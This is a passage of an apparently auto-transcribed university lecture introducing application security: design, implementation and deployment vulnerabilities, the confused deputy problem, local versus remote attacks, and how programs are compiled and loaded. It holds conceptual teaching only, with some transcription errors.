 the fake key to the key that you send people, that's such a good trick. Yeah, cool. All right, let's, we are getting onto the next topic. We're now gonna look at application security. So, this is probably my second favorite or favorite part that we're gonna talk about. It all depends on what we're gonna get to next. This is the stuff I really like thinking about, how to break applications. So, what do we mean by application here? What's an application? Something that runs, so is operating system an application? Yeah. Is it? Not for your definition, but it is. It is, why? So, can you argue rather than just saying it is? Because it runs. Because it runs? Is running the only part of being an application? In my world. Cool. Should make, yeah, I mean, anybody else have any different thoughts? Operating system, do. Wouldn't an executable file be considered an application? Sure. Have you been kernel as far as applications that run in your operating system or the kernel itself? Yeah, so, I think kind of the high level point is, I don't know, it's not, you know, we're saying application will provide some services to a user, right? So, I would probably think of an operating system as not necessarily an application itself. It's a essentially an abstraction layer that helps to build applications, right? If you just run an OS, it does nothing, right? The whole purpose of an operating system is to execute applications, right? But these can be, you know, generally applications can be anything. They can be service, I mean, local applications like word processing, file management application, when you're on a server, things like LS, make directory, these are all applications, right? But also your phone, right? Your phone has applications, you know, it's software that you need to do something, right? But a key thing to think about is where is this, where is the service running? Is it something that's running locally or is it something that's running remote on a, remote system? So what determines the behavior of an application? Code, what else? User input. User input, anything else? The hardware's running on, what else? Interaction with the network. Network interactions, anything else? Permissions. Permissions that's like configuration or permissions that's running as, anything else? Operating system, right? So you could just take, if you take a Linux binary and you try to run it on your Mac, even though it's technically x86 code, it's going to fail, right? Because it literally can't do anything. So the way to think about it is kind of what an application does, the behavior of the application, and this is an important thing to think about, especially when you start thinking adversarily about how do I compromise an application? It's not always the code, right? The code is one thing that says what it does, but that code interacts with the data being processed, so user input, and depending on what input you may give, different things may happen, one of which you could take advantage of. And the other one, I think we can kind of, the hardware was a good one. I don't, I guess you can kind of throw that into environment and essentially, so this would be what configuration is it running on? What operating system? What are all of the other things that influence the execution of this application? And just like all the other attacks we've talked about, what do we want to violate? Bosses like the easiest question on the internet. What do we, as attackers, what are we trying to violate? To do what? To compromise what aspects of the system? Confidentiality, integrity, and availability, sorry. Yes, those are all ranked two, but I'm trying to get it back, reinforce these points. And so this is gonna be our goal. Our goal is we're gonna look at applications and we're gonna think about what are the ways we can try to using either our data or the environment to manipulate and alter an application such that we can violate the confidentiality, the integrity, and the availability of that application. And so it helps, I like this model of thinking about an application because so if we go back to these things, so we have the code, the data, and the environment, so what of these do we control? Can we control the code that the application executes? I think you can go ahead and explain a little bit. But in general, can you change, let's say, does that change nearly the code that is running on that network service? You may be able to trick it next and do more code or we'll look at other things like that, but in general, can you just say, aha, here's a different LS program that gives me root privileges, hangover. So normally, so think about it this way, if we can already change the code of the application, then we win, then we have whatever permissions. Most systems are set up such that only let's say, if an application will give you root privileges, then only root can edit that file because if anybody else can edit it, they just put whatever code they want and now they become root. So it's important things to think about because we want to think about how can we actually change the behavior of this application? You nine, 10 to 10 cannot just change the code, right? But you can control the data, right? You can control 100% the data that you feed to that application and you can sometimes alter the environment that that application is running and to trick it to do different things. So let's look at a visual model. Basically, so this is the way I think about it because you want to think about when you're trying to attack an application, okay, what are all the ways I can influence its behavior, right? Because mods are the default behavior, the default of whatever the application does is not vulnerable. Why would I assume that? So what are the, let's phrase it a different way. So what are the, think about it this way. So what, well, so the vulnerability or something we're trying to influence or attack the integrity of the availability or the confidentiality of the application, right? That's likely, so I guess, is it more likely that it's going to be on the code path that executes every single time that this program executes or is it more likely to be in a random unused code branch? Otherwise, it would have been caught fixed. And just like any bug, right? I think there's a general notion and you have all experienced this coding, programming assignments that have test cases that run on them and you say, ah, but it works on my machine on my test cases. It's like yes, but it does not work on the other stuff. And so how do you fit, you know, oftentimes what, definitely what I've seen in 340 is once students learn how to run a profiling tool to see what of their code is actually executed by their own test cases, they could see the unhit portions in their test cases. And so they know the bug is likely in those, in that code. Similar things occur in security. It's often the unused portions of applications. So this is why it's important to think about, okay, what is, you know, what's, what has the programmer likely done when they coded this application one of the things they didn't think about in maybe error conditions or other types of things. So one thing to think about is the environment. So depending on this, if this is a local application and we're running this application locally, we may be able to control the environment. If this is running locally on some server that I can't SSH into, do I have a way of changing the environment? Probably not, although things are very complicated. So sometimes some weird programs, if you send certain input, will create environment variables, for instance, for you. And so you get weird bugs. The operating system that the application runs on, the network, the file system, any other processes that are running on the system. And finally, so we have our terminal. So you think conceptually like a terminal, no matter if you're literally using, the terminal on your machine, your laptop, or your SSH, you now have a remote terminal, you're essentially physically, you can think of your physically on the system, and anything you type can be input and can alter that application that's running. Similar, and so the application, so the environment kind of also includes, so also includes the file system, because an application will want to read and write files. That's often what happens, right? We can influence part of the file system. We may not be able to control the entire thing, but we may be able to influence and change the contents of certain files. And furthermore, the application could go fetch network content. One thing that I think would be really cool, where that happens sometimes, is web services that let's say include a user's tweet on their page. And so you can actually have vulnerabilities, so you make a tweet that has certain bad characters or whatever, and then that input gets in the application through a tweet, and then that can actually compromise the security of the application. So it's important to understand what network connection is. For not only that reason, but for all of the network attacks that we talked about, because maybe you can compromise this application by injecting some data into the network connection, if you can do TCP hijacking attacks. Or maybe not, and maybe the application, actually talks to others, things that are running on the system. So why does the file system contain the operating system layer? Yes, and how does the application tell the OS it wants to open a file or whatever? S system calls, this is where pre, we're really digging into these things. So it's important concepts to understand. So applications don't have the ability to just open files. So they actually need the operating system to do that, because the operating system, as we saw, has a policy about who can access what files and which web writes. So the operating system has a mechanism to enforce this policy, and it does this by checking every single application when it makes a sys call to open a file, it will do this check. So this is why you have the file system, you also have talking to the network, all of these things go through the operating system. That's a super important concept to understand in general about computers. Well, any questions on this model? So our goal as attackers is going to be to influence this application, to do something that causes it to compromise confidentiality, integrity, or availability. Although for now, let's ignore availability because it's usually lame. And it doesn't really, for a lot of these attacks, I mean, it's not lame in the general sense, but yeah, it's much cooler to be able to take over an application that's running on a system rather than just shut it off. I don't know all that guy that turned up Trump's Twitter account. That's a different type of attack, so yeah. And definitely that's a good example of an insider's threat that they didn't consider. So what we need to think about is, so the idea is we're thinking about, okay, we've looked at policies that define what you can do on a system, we looked at mechanisms that enforce that policy, we've looked at authentication and authorization, which look at how you identify yourself through a system and then what privileges you have on that system. And so the idea here now is we want to identify, okay, so an application itself has some policy of what should be allowed, right? Who should be able to access what files? And the idea is we want to perform vulnerability analysis. We want to identify vulnerabilities in this application that allows us to compromise that security policy and allows us to ultimately violate common agenda integrity and availability. Availability. It's important conceptually to think about vulnerabilities at different levels, let's say. So if I have an application and we study crypto, right? So I have an application. I want to store some secret data that I don't want anyone to be able to access. And I do a Caesar cipher with a random key to encrypt that data. I say, this is secure. Is that correct? Are there any vulnerabilities in my application? Find with your key. Can we look into it and see what the ramp does? You can have, I'm very confident I've encrypted this. So it's a publicly accessible file. Let me read it. I encrypted it. Vulnerability there. Or I guess is there one? The environment says the system shall encrypt a file such that it's obfuscated and that someone looking at it can't read it. Yes, we've accomplished that. But if it says the system shall encrypt a file such that no person without the key will possibly be able to, in a reasonable amount of time, decrypt a file and view it plainly. We haven't accomplished that because the vulnerability that we see is likely to be on the roof or very quickly. Cool, okay, so yes, let's go to the second. So the security policy basically says nobody without the keys should be able to read this file. Right, so that's the policy. So I sit down to create this application that's gonna have this security policy. How do I actually create an application? Do I just start coding randomly? Just start typing. What you do when you're not in class and you actually are trying to do things, right? I mean, I'm taking the software engineering course. That'll be it. And you want to actually design your application. You wanna sit down and think about, and this doesn't matter if you're doing waterfall or ad job or whatever, you need to think about what you're doing, right? You're gonna make some kind of a design, whether it's explicit or implicit. So, and then, now that you have that design, you're gonna build it, actually implement it. And then once I've coded it, am I done? I just sit back and be like, application success. I'm gonna make my bonus this year because I just developed this application. What's missing? I gotta test it? What else? An excellent coder, I need to test. What else do I need to do? Why do I need to stand tall? I just broke the application. It's written. It's in a Git repo. And deploy it. It has to run somewhere, right? If it's not running somewhere, then what did I do and spend all that time on? Now, these can be different jobs, right? But if you think about how an application is actually used, if it's not deployed either on the system or to the end users, then you've really done nothing, right? You just made a little toy for yourself that works on your own computer, which is fine. But that's not developing an application that can be used by many, many users, right? So not only do you have to design it, you have to implement it, you have to test it, you have to deploy it, even on top of that, you have made it to configure it to make sure it's actually deployed correctly. So, if in this example when I'm designing my application and I say in the design, so the policy says that I have to have this file that's only readable by people with this key. And so in the design, I say the thing should have a, use a super awesome encryption of a Caesar Cypher with a randomly chosen key, so that that way it's really secure. And then I implement it just like the design says and I deploy it. So is there a bug in the code? Like is the vulnerability in the code that I wrote? Probably not, right? Because it's, the bug is really in the design, right? The problem is the design was flawed from the start. And so, or maybe the design says it should be AES, whatever, whatever. And then it turns out I use AES ECB mode instead of CBC, which severely weakens the security and so we've seen problems with that. And that would then be an implementation vulnerability where I've actually implemented it incorrectly. So we can have design vulnerabilities, invalidation vulnerabilities, or if I'm installing it and let's say this application has functionality, well this is hard to, oh, let's say I'm storing, let's say I'm doing it 100% secure, right? AES, 256 bit key, it's freaking amazing encryption, you can't read it, but when it's deployed on the server, the key that we write out is actually in the web folder and so it's accessible externally from the web to anyone. Is that a problem in our design? Is it a problem in the implementation in the code itself? No, it's a problem in what? The deployment, right? It's actually really interesting to think about and one of the things I want you to take with you from this class is you can have something that is designed 100%, have the best perfect security policy, you can have it designed to be absolutely no vulnerabilities, you can have it be implemented 100% correct, you can do crazy levels of security assurance to make sure that there's absolutely no implementation vulnerabilities, but if you stop there and you're just like, yeah, just throw this on the server and run it, right? That can completely compromise all of the security of what you're trying to do if you're not doing it correctly. So you really have to think about security in a holistic way and think about it at all levels of the software engineering lifecycle, not just, and we are gonna focus more on the implementation vulnerabilities because they're super fun to play with, but when you're thinking about these things you need to think about them at all different levels, not just at the implementation level. Design vulnerabilities are, as we talked about, basically flaws in the logic of the application. So if, of this, basically so if our application requires, if the policy requires that we have authentication and authorization checks and maybe we do that check but doesn't actually do it, so that would be a problem or maybe a rainy, so going back to the trust assumptions, if we say by design, aha, this machine will be able to SSH without a password into another machine because it's trusted and only that IP address will be able to do that, that may be faulty, maybe we can spoof a TCP connection, maybe we could, maybe we can take over that machine and get it to SSH into the other machine, right? There's a lot of ways we can take advantage of that design because it's flawed by default, right? So how can I identify design vulnerabilities? Think really hard? So yeah, one way, this actually is so Microsoft in the late 90s or early 2000s had a series of significant security instances where they had kernel level vulnerabilities that were remotely exploitable and the Melissa virus, all this crazy stuff and so they actually took a good hard look and became really good at security and part of that was developing this, they called the SDL, the Software Development Life Cycle and as part of that step, it says during the design phase there are teams in Microsoft that will do red teams on design so they will look at your design and can try to poke holes and think about things to help you incorporate that in your design because let's say you've designed the application, you've implemented it, you've deployed it and then you find out that your design has a huge flaw and problem in it. How do you fix that? No, you've already written it, it's all top tech. You've designed it, you've implemented it, you've deployed it. So what do you do? I do like a software update so you have like a Chrome style thing where people usually get a choice of this web and I'll top date. So even before that though, how does that update get to the end users? To the update? Yeah, how do you create that update? Well, first, before that though, it's a flaw in your design so you can't just change the implementation, you have to redesign, it may actually require completely re-architecting and rethinking about your application. Then you need to code it all up and that old code you wrote is probably useless in this new paradigm because you're rethinking about things. So you need to re-code the app and then you need to redeploy it to all your users and push it to all your users. So it's incredibly expensive to fix a design level vulnerability in a design flaw after everything is already implemented and deployed which is why it's a much better idea to bring in people at the design phase because you don't have any code. It's super easy to say, actually, we shouldn't trust this server, right? We should come up with another mechanism or a better way to do it. There's a way on SSH that you can allow, let's say, you can allow passwordless log-ons from another server but you can restrict what that can do. So you can say, like if you think about it, you use GitHub, right? Many of you? Where you clone a repo often is actually through SSH. You've uploaded your SSH servers, your SSH there. You think GitHub is giving SSH access to every one of their servers? No, that would be insane, right? So they actually use this to limit what you can do on a remote post. So you can add other mechanisms to your design to think about how to restrict pieces to better accomplish your security goals. And I always think about this, so I think about these things from a research perspective. So you can pay humans a bunch of money to go look at your design or to look at your system after it's deployed to identify problems. But doing this automatically is incredibly difficult. So why would it be difficult to identify like a logic problem or design problem in an application? Automated tool. Or actually trying to do versus what you coded it to. Right, exactly. So looking at the code, there's no obvious say implementation level defect. The code is doing what it's supposed to be doing. The problem is the code, what it's supposed to be doing is wrong. So you can think, we have this idea of this policy, right? There exists essentially a policy and the design is flawed in respect to that policy. But oftentimes this policy is not written down. It's not machine readable form. The tool can't suck that in. So it has to actually look at the application, interact with the application and try to infer what's the likely specification behind this and then see if it can violate those assumptions to try to find more abilities. So yeah, it's incredibly difficult. In addition to the semantic gap that we're talking about, like what does the code actually mean? That the space is just so large. There's so many things that can go wrong that even if you define some expert system that can go in and make semantic interpretations about what it's doing, the next time you do at least that system that you wrote is gonna be totally obsolete because things change so rapidly. And usually wanna focus on tools that can operate on any application. So they should have as little prior knowledge as possible. So yeah, that's another huge thing. So this is actually a very interesting research problem. Another aspect here that you'll often hear talked about with security problems is the confused deputy problem. Okay, so it's actually, I think it's pretty easy to think about it in Windows. So you can actually lock down a computer pretty well and you can say like, okay, let's say no process can use the internet. You lock the computer down and put the rules. You can put a policy and it went that mechanism to say, on my Windows machine, no application should ever talk to the internet. Is that a good policy? Why or why not? What do you want to talk to the internet? It's for your browser in general, right? You want your web browser to talk to the internet. Do you want some random app that you've downloaded to your computer to talk to the internet? No, not unless it has to. So you write the rule, you say, okay, the web browser can talk to the internet, but nothing else, right? Which you think, aha, I've made myself safer, okay? I've significantly improved the security of my system. So you download your main, I won't put too much blame on this type of head of old you. You somehow end up downloading a malicious piece of software that has stolen, it's looking in the browser process, it's stolen all your username passwords, and now it wants to send it to itself, right? But you very smartly have restricted it from ever making network connections. So you're the malware author, what do you do? Or what, you're this piece of malware, what would you do? Do you give up? You're like, this person's so secure. Oh, you just ask very nicely to the browser, hey, please send this data to my server. And the browser goes, oh, great, the URL opened up. This is what I do. I open URLs for anyone. I'll open this URL. Oh, you want it in a window that's behind the user that they'll never see, great. And so you can actually, so the idea is basically the deputy in this case would be the mechanism that's blocking all network connections, right? But the policy says that the browser can open, can make any network connections. And the deputy doesn't know, is it actually the browser that's making this connection, or is the browser doing it on behalf of some piece of malware? And that's fundamentally a very difficult problem that occurs in a lot of different contexts. So if I can trick somebody else to do something on my behalf, then you have a confused deputy problem. We'll be another example in this class. I guess it'd be like, commencing your friend to beg for like extra credit points to me so that like, you don't have to do it, but your friend is doing it on your behalf, but maybe technically both of you. It doesn't really work that well because it's not gonna work, but. So then, so from design vulnerabilities, there are vulnerabilities in the actual implementation. So usually, so these are kind of hard to classify because there's so many different types of events. Basically, the idea is that the application can't correctly respond to unexpected events, either unexpected input, unexpected errors, or unexpected interleaving of events, maybe. So actually a great way to think about this is to think back to your house that you built in assignment one, right? What happens if I insert a key into the lock and then rekey the house and then turn the key, right? Should I get in? No, the lock should be different, right? It should not be able to get in, but maybe you didn't consider that ordering and maybe you did that check, that authorization check with the key was inserted into the lock, which is different than actually turning the handle, right? The list really goes on and on. So the idea is to think about what kind of input can I give to this application to trigger it to do something it shouldn't do? For instance, in the SQL query example, can I give input to this application that causes the application to execute multiple SQL queries that it did not intend to execute? Or as we'll see, we're gonna get buffer overflows. Can I inject code into here to trick the application to execute code of my choosing and do whatever I wanted to do? These are all super cool things to do, but the basic result is there's some bug in the application. For instance, the application's not correctly filtering the string it's using in the query, or the application, excuse me, the application is copying unbounded input onto a buffer on the stack and it causes the stack to overrain, right? All of these are actual programming bugs that you fix with a code change. Well, like we said, I can have the application 100% secure, but it's deployed in an insecure manner. And this actually could be more of a problem. How many, I guess some of you work at software companies. Do you guys have dedicated ops team and the dedicated dev team that are different? Do you have the developers? Yeah, so you have developers who actually write the applications and you have ops people that actually deploy them and run them on the systems and the servers. This can be a good thing definitely because you can have a nice separation. You can have people who know very well the Linux permission models of such and such that you can configure things correctly. Actually, one of the major downsides is what we talked about earlier with who's on call when it goes down. In most companies, it's the ops people. So when the app goes down, the ops people have to go in and fix the problem. Amazon did away with that, so the developers have to actually carry a pager or whatever. So when something happens, they get paged and they're actually on call to fix it. Which, if you think about who's introducing the problem, if it's a code problem, and if the developers have to hold that beeper and they know they're gonna have to be on call, you can bet that they're going to actually code it so it can be properly deployed and it's going to be reliable, right? So it's an interesting thing about thinking about incentives. So for instance, let's say I develop an application and I say, or, actually that's a good example, so going back to the Windows. So it used to be that every single user in Windows was the admin user. So they essentially root their full control over their machines. And every single application you downloaded from who knows where executed with those same permissions. So they all executed as admin as basically full control over your computer. That clearly a random application you downloaded from the internet does not need admin privileges on your computer, right? So this could be considered maybe a deployment style vulnerability where basically you're installing the app that has more privileges than it should have, right? The application's only supposed to be for a normal user. So why have it assume and give it admin privileges? Another one, this way this comes up is for instance what we talked about. So if a file is supposed to be or the developers assume that a file is only readable but it's actually writable like somebody else that could cause huge problems. Think about like configuration files. If like a configuration file is world writable well then I just change it to disable whatever security mechanism you have. Or this is actually a big one nowadays with the Mirai botnet. Use hard coded passwords on routers and let's see I think it was routers, printers and other devices scanners. So they scan the internet looking for these things and use like the admin admin or the admin 123 passwords that are auto hard coded and these things to get remote access to all these devices. And the idea here is in the way to think about it is if the application was deployed correctly it would be secure. This vulnerability exists because the deployment is wrong. Not that the code is wrong or that the design necessarily is wrong. And you can argue that maybe the design is faulty because the design should specify how it should be deployed. So that's, but maybe the design says hey this file should be read only but when it's deployed it's actually deployed rewrite and so that causes a huge issue. Okay, it's very important to understand the difference between local attacks and remote attacks. What do we mean here by local and remote? What are local attacks? You have to be wired in so you can give me one example. USB or, okay USB, yeah you'd be physically present connected to the system. What other examples of local attacks? Yeah, so let's say one instance would be, I don't know, does one does have an easy guest mode? I know Mac does, they have like a guest mode that you can activate so that somebody can use your computer without having access to all your files, so it does, yeah, so I would assume so. So yeah, you can actually like give somebody your laptop to use and they could use it without having access to all your files, right? So it would be locally on your computer. What about SSH to a system? Yeah, okay so let's distinguish a little bit because I think, so in general if you have physical access to a machine in that you can change the BIOS or read the heart, just pull the hard drive out and read the hard drive or even there's super cool attacks where, so even an encrypted hard drive, the keys, the encrypted keys are stored in memory so what they do is they take a device, they take one of those dust cans, turn it upside down, freeze the memory, make it really cold and then take the memory out and put it in another computer really quickly and the bits in the memory still hold their charge, it's something crazy like 80% of them or something. So you can often recover that key that's used on that drive. So if somebody has physical access to your system, it is essentially game over at that point. So that's not really what we're focusing on here, focusing more on applications, right? So local in this case would be somebody, I think the way to think about it is somebody can execute arbitrary programs on your system of their choosing whatever they want. So that would be if I give you my computer in guest mode, you would have essentially a count there that you could do what you want, you could interact with the file system as you want. If I gave you SSH access to a server, you have local access there. You can change things, so there's the bandit levels that you're working on, you essentially have local access to that system. You can run command, you can inspect the file system, you can interact with it that way. So it would be a remote attack then. So it's something we don't necessarily control the applications that are running or the file system. SSH, ah, yes and no. So you want to clarify? It's remote in that if you are able to actually remotely log onto a user's machine and then you become local, so it kind of brings the gap. Yes, it definitely does. So the, so when you SSH into a machine, what are you talking to? You're talking to the SSH client. Super close, flip them, no enclosure. You're using your SSH client to talk to that. So the SSH server, so depending on the system, there'll be an SSHD, like an SSH daemon that's running. That's, as we know, we study that working, right? It's listening on port 22, and so any request that come in, get passed to that application. That application will authenticate you. It has its own security policy of how it does that. It authenticates you, and then sees if you can log in, and then if you log in, then it gives you local access. So yeah, SSH is really complicated example of, if you're SSH-ing to a server that you have credentials for and you are now a local user, but if you know of a vulnerability in the SSH server, you can launch an attack, a remote attack, at the server itself, at the SSHD client, or server, what else? What are the remote? Denial of service, so we can send the denial of service attacking against a remote service. What are their services? The services itself. Yeah, what are remote, like examples of remote services. Sorry, I guess not remote attacks. Oh wait. Yeah, me either. Okay. I see the problem. Yes, those are all definitely remote attacks. So I guess the question I'm asking is more, what are you attacking in those cases? So for instance, we talked about you could launch an attack against the SSH server. So like in the case of SQL injection, you're basically giving input to a website or to an MUR and tricking it into delivering back. Right, so that's actually a complicated example because it has, you were usually launching it, so there's the HTTP server, right, like Apache that's running to get your request, but then Apache actually executes some like PHP code or whatever code is running and then that code issues a query to a SQL server which may be remote, so you may have that application talking about a remote server to it. So yeah, it's a complicated example, but the idea is with this SSH example, if I don't have let's say an account on an SSH server, right, and I'm trying to exploit the SSHD server, the application that is running and listening on that socket, right? I can't change, I can't alter what process, I can't change the file system directly, right? I only have access to port 22 and I can only send user data. Similarly with the application, depending on what the application does, I usually can only send a web request to port 80 on this application and then I have to figure out what it's doing to try to exploit it, yeah. If I write a piece of malware and I send it out on the internet to be downloaded by unsuspecting individuals, it gets on your computer and it starts executing and running its attack. Is that a remote attack or a local attack? So how did it get there? Fishing email. Okay, so essentially, so you tricked them to downloading some software, you said it's this great new game, but it's a great game and it also does something malicious, right? So at that point, from that application's perspective, it is local on the system. It's running autonomously and you are not communicating. It has the full, it can do any type of local attack that it already knows about. So it won't be able to, let's say, interrogate the environment and come up with a new attack, but it can go, oh, it's running Windows XP. Great, I have all these Windows XP local attacks that take me from a local user to the admin or root user. Let me use one of those. So yeah, the way to think about it is, it doesn't really matter if it's code or a human doing it because they can both essentially do the same things, but it's what perspective they have at that time. Now if you talked about a worm, right? So if you wrote a piece of malware, that scan port 22 that was taking over SSH servers, those would be remote attacks that would take over the server and then maybe each of them would scan for more victims and would probably take that away. So it's like, despite my initial thoughts about this, we're totally wrong, so we need to verify it. So we have this idea of access and authorization as like a moat or a wall or a system, and it's whether or not the individual or the software is inside of that wall or outside of that wall of authorization abuse. Well, because no, because you can be authorized to make SQL requests on a internet-facing web portal and be injecting code and that's still remote. Yes, because you are not local on the system itself. So the, yes, because another way to think about it is let's say we're both users of a website that stores tax returns, right? So the policy should be I can see my tax returns but I can't see yours. But if I'm able to exploit that application and finding vulnerability such that it will return me your tax information, right? I've exceeded my authorization but I'm still an authorized user, I'm not completely outside. These are distinctions to think about of like what level of access do you need to exploit the vulnerability, right? And so this is kind of one distinction that we like, I mean, thinking about, you know, am I, does this attack require me to have local access? So for instance, many of the local attacks that we'll see you want to go from a regular user on the system to the root user. So it's a privilege escalation vulnerability in that case. Remote attacks, if you can get root on a remote attack that's ridiculously bad. So usually that's because you found a vulnerability in the kernel itself and so when you exploit it now you are the kernel. So when we think about remote attacks, so we think about, okay, I can't, I can't trick it to do this local thing to elevate me from a local user to a root user because I'm not even a local user yet. I can't even influence what things it executes. So it's more like thinking about, okay, remotely, this is why I looked at port scanning, right? I can say, okay, I see that these services are running. Do I know of any attacks on those that I can use to gain further access? This happens a lot on the web basically. Usually with the web you have a web application and then so you essentially are remotely trying to exploit that web application. Then if you're successful, you don't get root, you get access to the web server for whatever permission the web server user has which is usually very limited. Then when you're there you figure out, okay, are there any root exploits? Are there any local attacks that would elevate me from the web server user to the root user? Now you have full access to this machine and you can start exploiting trust in that machine and other machines and doing all kinds of cool stuff. Hope you clarified your vision. So, yeah, the idea, it kind of goes back to this model here, do you have essentially, I think of it like terminal-like access to the system, right? Can you execute arbitrary applications? Can you give them whatever input that you want? Can you maybe alter the file system versus a network that can only talk on whatever process that it has? Yeah, this is about access. So basically, for a local attack, you need to have already established presence on the host and the goal is to usually gridled escalation. We want to get from a normal user to root or something like that. So yeah, the details actually went over all of these, so. So, the day in the life of an application. So, I wish, oh, I wish I could do a cool, I think you could do a cool comment about this, like the life of the build thing, the schoolhouse rocks, whatever, the life of an application. So, an application is first born, so do you type out on your keyboard, ones and zeros? Type out in the binary and you go, yep, one, zero, zero, one, one, zero, one, one, one, zero, one. One, one, zero, one, one, one, one, one, one, one. Probably two and zeros. Right, what do you actually write your applications in? High-level programming language, like what? Give you an example. Python. Python, what else? C++. C++. C. C. Prolog, whatever you want. These are all valid, high-level languages, right? Can the CPU on our systems execute that language? No, except in very, very rare circumstances. There's two that I'm aware of. There used to be a company made list of machines back in the day that would actually, the CPU would execute Lisp, and then there was exploration into a Java CPU that would actually execute the JVM bytecode directly. But for all intents and purposes, no, the CPU, if you tried to send it a C program, it would, I don't know, blow up, or it would blow up, because you shouldn't be able to send anything to a CPU to make it blow up. But it would metaphorically blow up. And so then what happens? So how does our application get from the code that we write to actually running on our processor? What does compiler do? What does compiler do? Does it interpret the high-level language and send it into assembly code to make system calls to the operating system? Right, so it can be a compiler, it can be an interpreter, it can be something, but we need something to essentially, I think it interprets a translation, right? We're speaking this high-level language of C or Ruby or Python or whatever, and we need that translated down to this really dumb low-level language that the CPU actually speaks, right? And so translate this some kind of executable form and then usually send it to a file, right? We want our programs to be reusable. Let's see, am I gonna get into this? We'll get into this in a second, the interpretation versus compilation argument. And then, now we want to, so now we have this file, we want to run it, we want to run our application. What happens? There's no magic, yeah. User input or a skip of event occurs. So the graphical user interface or the terminal accepted input for the user or a skip of event happens. Sure, so let's say I run it, so let's say I want to run it, I'm the user, I tell somebody we're getting the who that I want to run this application. How does that actually run? Well, how does it get into memory? Because it's a file at this point on disk. Probably a question here that you're there, yeah. There's a loader and there's probably a process that's done by the operating system to actually manage the loading of the... Yeah, so basically some, you know, actually it's, well, somebody needs to take those bytes that are on disk, right, which contain the executable code that the CPU understands. They need to load that into memory because the CPU can't just execute something off the disk. Loads it into memory, and then usually the OS will tell the CPU, okay, start executing at memory location, whatever. And then that's at the start of the program and then the program starts executing by the CPU, so. Application has to be somehow loaded into memory. There's all these other things that can happen. And then finally the program executes and that is at the end of its life. Now it's terminated in ruthless fashion after it's done, right? So it goes away from memory, whatever side effects it had to the operating system obviously still remain. Cool, question on this. It's important to understand conceptually what happens to an application, right? And, you know, I think a good test for you as you're getting closer and closer to graduating is can you explain all of these things at all these different levels, right? So you have classes that teach you about compilation, you have operating systems that teach you how operating systems work. You took computer architecture to learn how assembly language is actually executed by the CPU, right? All these things are super important. So in interpretation, so some languages like Python or Ruby, you don't actually compile into an executable file. What you do is you have another program that is an executable file in the format that the CPU understands that can parse and interpret the Python file and will do whatever the Python file says that it should do. So the way to think about it is like each instruction is parsed and executed essentially as it's being executed. It's a way to think about it. So an important thing from a security perspective is that most of these languages have a way to generate and execute code dynamically. So to take a string and actually execute it as if it was a statement. So bash has this eval, Python, JavaScript. We'll see how all of these things, so there's a great, basically like eval is evil is something to burn into your brain. Eval is definitely super evil, cool. And so compilation, so this is a brief recap of 340. So many compilers have like a pre-processor that handles all the power to finds and power to includes. Then the compiler basically turns it into architecture specific assembly code. So it actually doesn't go all the way down to binary. It compiles it down to assembly language. So I think most of you have studied MIPS. Is that right for assembly language? Cool, again you're gonna learn some x86, it's gonna be awesome. So depending on your architecture when you compile it, it's generating an assembly program that's semantically equivalent to the C or C++ code that you wrote. Then we turn this into an actual binary. So assembly as we'll see is basically a very high level human readable version of the actual binary code that's executed. So there's the AS, the assembler, which actually takes a binary program and outputs binary, sorry, takes an assembly program, outputs binary code with some additional metadata that we'll look into. And then finally, so we need a process to, if our code is calling things in other libraries like libc, so string copy and various other libc functions, that code is actually a different executable. So we need to be able to link them together to be able to say, okay, or if you're writing multiple binaries, so if you're writing multiple, let's say C files, you can compile them each to object files, but at that point they all refer to each other and call each other, so you need to actually link those all up into the final binary. So elf is a super important file format that we'll go into briefly. Let's see, okay, so then we need to actually load, so, wait, is this the same slide? Yes, it is, cool. Okay, so elf, all right, we'll stop here, we'll come back and visit the elves on.